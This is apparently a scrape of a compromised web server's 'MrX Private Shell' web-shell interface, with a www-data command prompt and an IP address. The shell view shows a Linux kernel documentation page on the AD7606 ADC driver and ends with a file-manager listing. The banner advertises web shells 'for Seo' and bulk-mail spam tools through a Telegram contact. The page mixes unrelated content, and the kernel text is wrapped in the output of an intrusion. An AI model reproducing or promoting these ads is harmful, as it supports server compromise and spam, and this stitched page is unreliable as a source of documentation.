__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.217.121: ~ $
<!DOCTYPE html>

<html lang="en" data-content_root="../">
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />

    <title>AD7606 driver &#8212; The Linux Kernel  documentation</title>
    <link rel="stylesheet" type="text/css" href="../_static/pygments.css?v=fa44fd50" />
    <link rel="stylesheet" type="text/css" href="../_static/alabaster.css?v=3918102e" />
    <script src="../_static/documentation_options.js?v=5929fcd5"></script>
    <script src="../_static/doctools.js?v=9bcbadda"></script>
    <script src="../_static/sphinx_highlight.js?v=dc90522c"></script>
    <link rel="index" title="Index" href="../genindex.html" />
    <link rel="search" title="Search" href="../search.html" />
    <link rel="next" title="AD7625 driver" href="ad7625.html" />
    <link rel="prev" title="AD7380 driver" href="ad7380.html" />
   
  <link rel="stylesheet" href="../_static/custom.css" type="text/css" />
  

  
  

  </head><body>
  <div class="document">
    
      <div class="sphinxsidebar" role="navigation" aria-label="Main">
        <div class="sphinxsidebarwrapper">
            <p class="logo"><a href="../index.html">
              <img class="logo" src="../_static/logo.svg" alt="Logo of The Linux Kernel"/>
            </a></p>
<h1 class="logo"><a href="../index.html">The Linux Kernel</a></h1>



<p class="blurb">6.18.50</p>







<search id="searchbox" style="display: none" role="search">
  <h3 id="searchlabel">Quick search</h3>
    <div class="searchformwrapper">
    <form class="search" action="../search.html" method="get">
      <input type="text" name="q" aria-labelledby="searchlabel" autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false"/>
      <input type="submit" value="Go" />
    </form>
    </div>
</search>
<script>document.getElementById('searchbox').style.display = "block"</script>


<p>
<h3 class="kernel-toc-contents">Contents</h3>
<input type="checkbox" class="kernel-toc-toggle" id = "kernel-toc-toggle" checked>
<label class="kernel-toc-title" for="kernel-toc-toggle"></label>

<div class="kerneltoc" id="kerneltoc">
<ul>
<li class="toctree-l1"><a class="reference internal" href="../process/development-process.html">Development process</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/submitting-patches.html">Submitting patches</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/code-of-conduct.html">Code of conduct</a></li>
<li class="toctree-l1"><a class="reference internal" href="../maintainer/index.html">Maintainer handbook</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/index.html">All development-process docs</a></li>
</ul>
<ul class="current">
<li class="toctree-l1"><a class="reference internal" href="../core-api/index.html">Core API</a></li>
<li class="toctree-l1"><a class="reference internal" href="../driver-api/index.html">Driver APIs</a></li>
<li class="toctree-l1 current"><a class="reference internal" href="../subsystem-apis.html">Subsystems</a><ul class="current">
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#core-subsystems">Core subsystems</a></li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#human-interfaces">Human interfaces</a></li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#networking-interfaces">Networking interfaces</a></li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#storage-interfaces">Storage interfaces</a></li>
<li class="toctree-l2 current"><a class="reference internal" href="../subsystem-apis.html#other-subsystems">Other subsystems</a><ul class="current">
<li class="toctree-l3"><a class="reference internal" href="../accounting/index.html">Accounting</a></li>
<li class="toctree-l3"><a class="reference internal" href="../cpu-freq/index.html">CPUFreq - CPU frequency and voltage scaling code in the Linux(TM) kernel</a></li>
<li class="toctree-l3"><a class="reference internal" href="../edac/index.html">EDAC Subsystem</a></li>
<li class="toctree-l3"><a class="reference internal" href="../fpga/index.html">FPGA</a></li>
<li class="toctree-l3"><a class="reference internal" href="../i2c/index.html">I2C/SMBus Subsystem</a></li>
<li class="toctree-l3 current"><a class="reference internal" href="index.html">Industrial I/O</a></li>
<li class="toctree-l3"><a class="reference internal" href="../pcmcia/index.html">PCMCIA</a></li>
<li class="toctree-l3"><a class="reference internal" href="../spi/index.html">Serial Peripheral Interface (SPI)</a></li>
<li class="toctree-l3"><a class="reference internal" href="../w1/index.html">1-Wire Subsystem</a></li>
<li class="toctree-l3"><a class="reference internal" href="../watchdog/index.html">Watchdog Support</a></li>
<li class="toctree-l3"><a class="reference internal" href="../virt/index.html">Virtualization Support</a></li>
<li class="toctree-l3"><a class="reference internal" href="../hwmon/index.html">Hardware Monitoring</a></li>
<li class="toctree-l3"><a class="reference internal" href="../accel/index.html">Compute Accelerators</a></li>
<li class="toctree-l3"><a class="reference internal" href="../security/index.html">Security Documentation</a></li>
<li class="toctree-l3"><a class="reference internal" href="../crypto/index.html">Crypto API</a></li>
<li class="toctree-l3"><a class="reference internal" href="../bpf/index.html">BPF Documentation</a></li>
<li class="toctree-l3"><a class="reference internal" href="../usb/index.html">USB support</a></li>
<li class="toctree-l3"><a class="reference internal" href="../PCI/index.html">PCI Bus Subsystem</a></li>
<li class="toctree-l3"><a class="reference internal" href="../misc-devices/index.html">Assorted Miscellaneous Devices Documentation</a></li>
<li class="toctree-l3"><a class="reference internal" href="../peci/index.html">PECI Subsystem</a></li>
<li class="toctree-l3"><a class="reference internal" href="../wmi/index.html">WMI Subsystem</a></li>
<li class="toctree-l3"><a class="reference internal" href="../tee/index.html">TEE Subsystem</a></li>
</ul>
</li>
</ul>
</li>
<li class="toctree-l1"><a class="reference internal" href="../locking/index.html">Locking</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../process/license-rules.html">Licensing rules</a></li>
<li class="toctree-l1"><a class="reference internal" href="../doc-guide/index.html">Writing documentation</a></li>
<li class="toctree-l1"><a class="reference internal" href="../dev-tools/index.html">Development tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../dev-tools/testing-overview.html">Testing guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../kernel-hacking/index.html">Hacking guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../trace/index.html">Tracing</a></li>
<li class="toctree-l1"><a class="reference internal" href="../fault-injection/index.html">Fault injection</a></li>
<li class="toctree-l1"><a class="reference internal" href="../livepatch/index.html">Livepatching</a></li>
<li class="toctree-l1"><a class="reference internal" href="../rust/index.html">Rust</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../admin-guide/index.html">Administration</a></li>
<li class="toctree-l1"><a class="reference internal" href="../kbuild/index.html">Build system</a></li>
<li class="toctree-l1"><a class="reference internal" href="../admin-guide/reporting-issues.html">Reporting issues</a></li>
<li class="toctree-l1"><a class="reference internal" href="../tools/index.html">Userspace tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../userspace-api/index.html">Userspace API</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../firmware-guide/index.html">Firmware</a></li>
<li class="toctree-l1"><a class="reference internal" href="../devicetree/index.html">Firmware and Devicetree</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../arch/index.html">CPU architectures</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../staging/index.html">Unsorted documentation</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../translations/index.html">Translations</a></li>
</ul>

</div>

<script type="text/javascript"> <!--
  var sbar = document.getElementsByClassName("sphinxsidebar")[0];
  let currents = document.getElementsByClassName("current")
  if (currents.length) {
    sbar.scrollTop = currents[currents.length - 1].offsetTop;
  }
  --> </script>
  <div role="note" aria-label="source link">
    <h3>This Page</h3>
    <ul class="this-page-menu">
      <li><a href="../_sources/iio/ad7606.rst.txt"
            rel="nofollow">Show Source</a></li>
    </ul>
   </div>
        </div>
      </div>
      <div class="documentwrapper">
        <div class="bodywrapper">
          

          <div class="body" role="main">
            
  



<section id="ad7606-driver">
<h1>AD7606 driver<a class="headerlink" href="#ad7606-driver" title="Link to this heading">¶</a></h1>
<p>ADC driver for Analog Devices Inc. AD7606 and similar devices. The module name
is <code class="docutils literal notranslate"><span class="pre">ad7606</span></code>.</p>
<section id="supported-devices">
<h2>Supported devices<a class="headerlink" href="#supported-devices" title="Link to this heading">¶</a></h2>
<p>The following chips are supported by this driver:</p>
<ul class="simple">
<li><p><a class="reference external" href="https://www.analog.com/en/products/ad7605.html">AD7605</a></p></li>
<li><p><a class="reference external" href="https://www.analog.com/en/products/ad7606.html">AD7606</a></p></li>
<li><p><a class="reference external" href="https://www.analog.com/en/products/ad7606b.html">AD7606B</a></p></li>
<li><p><a class="reference external" href="https://www.analog.com/en/products/ad7616.html">AD7616</a></p></li>
</ul>
</section>
<section id="supported-features">
<h2>Supported features<a class="headerlink" href="#supported-features" title="Link to this heading">¶</a></h2>
<section id="spi-wiring-modes">
<h3>SPI wiring modes<a class="headerlink" href="#spi-wiring-modes" title="Link to this heading">¶</a></h3>
<p>These ADCs can output data on several SDO lines (1/2/4/8). The driver
currently supports only 1 SDO line.</p>
</section>
<section id="spi-offload-wiring">
<h3>SPI offload wiring<a class="headerlink" href="#spi-offload-wiring" title="Link to this heading">¶</a></h3>
<p>When used with a SPI offload, the supported wiring configuration is:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>+-------------+         +-------------+
|        BUSY |--------&gt;| TRIGGER     |
|          CS |&lt;--------| CS          |
|             |         |             |
|     ADC     |         |     SPI     |
|             |         |             |
|         SDI |&lt;--------| SDO         |
|       DOUTA |--------&gt;| SDI         |
|        SCLK |&lt;--------| SCLK        |
|             |         |             |
|             |         +-------------+
|      CONVST |&lt;--------| PWM         |
+-------------+         +-------------+
</pre></div>
</div>
<p>In this case, the <code class="docutils literal notranslate"><span class="pre">pwms</span></code> property is required.
The <code class="docutils literal notranslate"><span class="pre">#trigger-source-cells</span> <span class="pre">=</span> <span class="pre">&lt;1&gt;</span></code> property is also required to connect back
to the SPI offload. The SPI offload will have <code class="docutils literal notranslate"><span class="pre">trigger-sources</span></code> property
with a cell to indicate the busy signal:
<code class="docutils literal notranslate"><span class="pre">&lt;&amp;ad7606</span> <span class="pre">AD4695_TRIGGER_EVENT_BUSY&gt;</span></code>.</p>
<div class="admonition seealso">
<p class="admonition-title">See also</p>
<p><a class="reference internal" href="#spi-offload-support">SPI offload support</a></p>
</div>
</section>
<section id="parallel-wiring-mode">
<h3>Parallel wiring mode<a class="headerlink" href="#parallel-wiring-mode" title="Link to this heading">¶</a></h3>
<p>There is also a parallel interface, with 16 lines (that can be reduced to 8 in
byte mode). The parallel interface is selected by declaring the device as
platform in the device tree (with no io-backends node defined, see below).</p>
</section>
<section id="iio-backend-mode">
<h3>IIO-backend mode<a class="headerlink" href="#iio-backend-mode" title="Link to this heading">¶</a></h3>
<p>This mode allows to reach the best sample rates, but it requires an external
hardware (eg HDL or APU) to handle the low level communication.
The backend mode is enabled when through the definition of the “io-backends”
property in the device tree.</p>
<p>The reference configuration for the current implementation of IIO-backend mode
is the HDL reference provided by ADI:
<a class="reference external" href="https://wiki.analog.com/resources/eval/user-guides/ad7606x-fmc/hdl">https://wiki.analog.com/resources/eval/user-guides/ad7606x-fmc/hdl</a></p>
<p>This implementation embeds an IIO-backend compatible IP (adi-axi-adc) and a PWM
connected to the conversion trigger pin.</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>+---+                                       +----------------------------
|   |               +-------+               |AD76xx
| A |  controls     |       |               |
| D |--------------&gt;|  PWM  |--------------&gt;| cnvst
| 7 |               |       |               |
| 6 |               +-------+               |
| 0 | controls  +-----------+-----------+   |
| 6 |----------&gt;|           |           |&lt;--| frstdata
|   |           | Backend   |  Backend  |&lt;--| busy
| D |           | Driver    |           |   |
| R |           |           |           |--&gt;| clk
| I |  requests |+---------+| DMA       |   |
| V |-----------&gt;|  Buffer ||&lt;----      |&lt;=&gt;| DATA
| E |           |+---------+|           |   |
| R |           +-----------+-----------+   |
|   |--------------------------------------&gt;| reset/configuration gpios
+---+                                       +-----------------------------
</pre></div>
</div>
</section>
<section id="software-and-hardware-modes">
<h3>Software and hardware modes<a class="headerlink" href="#software-and-hardware-modes" title="Link to this heading">¶</a></h3>
<p>While all the AD7606/AD7616 series parts can be configured using GPIOs, some of
them can be configured using register.</p>
<p>The chips that support software mode have more values available for configuring
the device, as well as more settings, and allow to control the range and
calibration per channel.</p>
<dl class="simple">
<dt>The following settings are available per channel in software mode:</dt><dd><ul class="simple">
<li><p>Scale</p></li>
</ul>
</dd>
</dl>
<p>Also, there is a broader choice of oversampling ratios in software mode.</p>
</section>
<section id="conversion-triggering">
<h3>Conversion triggering<a class="headerlink" href="#conversion-triggering" title="Link to this heading">¶</a></h3>
<p>The conversion can be triggered by two distinct ways:</p>
<blockquote>
<div><ul class="simple">
<li><p>A GPIO is connected to the conversion trigger pin, and this GPIO is controlled
by the driver directly.  In this configuration, the driver sets back the
conversion trigger pin to high as soon as it has read all the conversions.</p></li>
<li><p>An external source is connected to the conversion trigger pin. In the
current implementation, it must be a PWM. In this configuration, the driver
does not control directly the conversion trigger pin. Instead, it can
control the PWM’s frequency. This trigger is enabled only for iio-backend.</p></li>
</ul>
</div></blockquote>
</section>
<section id="reference-voltage">
<h3>Reference voltage<a class="headerlink" href="#reference-voltage" title="Link to this heading">¶</a></h3>
<p>2 possible reference voltage sources are supported:</p>
<blockquote>
<div><ul class="simple">
<li><p>Internal reference (2.5V)</p></li>
<li><p>External reference (2.5V)</p></li>
</ul>
</div></blockquote>
<p>The source is determined by the device tree. If <code class="docutils literal notranslate"><span class="pre">refin-supply</span></code> is present,
then the external reference is used, otherwise the internal reference is used.</p>
</section>
<section id="oversampling">
<h3>Oversampling<a class="headerlink" href="#oversampling" title="Link to this heading">¶</a></h3>
<p>This family supports oversampling to improve SNR.
In software mode, the following ratios are available:
1 (oversampling disabled)/2/4/8/16/32/64/128/256.</p>
</section>
<section id="unimplemented-features">
<h3>Unimplemented features<a class="headerlink" href="#unimplemented-features" title="Link to this heading">¶</a></h3>
<ul class="simple">
<li><p>2/4/8 SDO lines</p></li>
<li><p>CRC indication</p></li>
<li><p>Calibration</p></li>
</ul>
</section>
</section>
<section id="spi-offload-support">
<h2>SPI offload support<a class="headerlink" href="#spi-offload-support" title="Link to this heading">¶</a></h2>
<p>To be able to achieve the maximum sample rate, the driver can be used with the
<a class="reference external" href="https://analogdevicesinc.github.io/hdl/library/spi_engine/index.html">AXI SPI Engine</a> to provide SPI offload support.</p>
<p>When SPI offload is being used, some attributes will be different.</p>
<ul class="simple">
<li><p><code class="docutils literal notranslate"><span class="pre">trigger</span></code> directory is removed.</p></li>
<li><p><code class="docutils literal notranslate"><span class="pre">sampling_frequency</span></code> attribute is added for setting the sample rate.</p></li>
<li><p><code class="docutils literal notranslate"><span class="pre">timestamp</span></code> channel is removed.</p></li>
<li><p>Buffer data format may be different compared to when offload is not used,
e.g. the <code class="docutils literal notranslate"><span class="pre">in_voltage0_type</span></code> attribute.</p></li>
</ul>
</section>
<section id="device-buffers">
<h2>Device buffers<a class="headerlink" href="#device-buffers" title="Link to this heading">¶</a></h2>
<section id="iio-triggered-buffer">
<h3>IIO triggered buffer<a class="headerlink" href="#iio-triggered-buffer" title="Link to this heading">¶</a></h3>
<p>This driver supports IIO triggered buffers, with a “built in” trigger, i.e the
trigger is allocated and linked by the driver, and a new conversion is triggered
as soon as the samples are transferred, and a timestamp channel is added to make
up for the potential jitter induced by the delays in the interrupt handling.</p>
</section>
<section id="iio-backend-buffer">
<h3>IIO backend buffer<a class="headerlink" href="#iio-backend-buffer" title="Link to this heading">¶</a></h3>
<p>When IIO backend is used, the trigger is not needed, and the sample rate is
considered as stable. There is no timestamp channel. The communication is
delegated to an external logic, called a backend, and the backend’s driver
handles the buffer. When this mode is enabled, the driver cannot control the
conversion pin, because the busy pin is bound to the backend.</p>
</section>
</section>
</section>


          </div>
          
        </div>
      </div>
    <div class="clearer"></div>
  </div>
    <div class="footer">
      &#169;The kernel development community.
      
      |
      Powered by <a href="https://www.sphinx-doc.org/">Sphinx 8.1.3</a>
      &amp; <a href="https://alabaster.readthedocs.io">Alabaster 0.7.16</a>
      
      |
      <a href="../_sources/iio/ad7606.rst.txt"
          rel="nofollow">Page source</a>
    </div>

    

    
  </body>
</html>

Filemanager

Name Type Size Permission Actions
ad3552r.html File 13.85 KB 0644
ad4000.html File 23.25 KB 0644
ad4030.html File 19 KB 0644
ad4695.html File 26.36 KB 0644
ad7191.html File 14.72 KB 0644
ad7380.html File 21.36 KB 0644
ad7606.html File 19.63 KB 0644
ad7625.html File 14.14 KB 0644
ad7944.html File 20.19 KB 0644
ade9000.html File 25.44 KB 0644
adis16475.html File 39.31 KB 0644
adis16480.html File 34.45 KB 0644
adis16550.html File 37.03 KB 0644
adxl313.html File 41.13 KB 0644
adxl345.html File 50.8 KB 0644
adxl380.html File 30.52 KB 0644
bno055.html File 11.92 KB 0644
ep93xx_adc.html File 11.44 KB 0644
iio_adc.html File 25.65 KB 0644
iio_configfs.html File 13.93 KB 0644
iio_devbuf.html File 17.28 KB 0644
iio_dmabuf_api.html File 12.51 KB 0644
iio_tools.html File 10.81 KB 0644
index.html File 12.48 KB 0644
opt4060.html File 11.87 KB 0644
Filemanager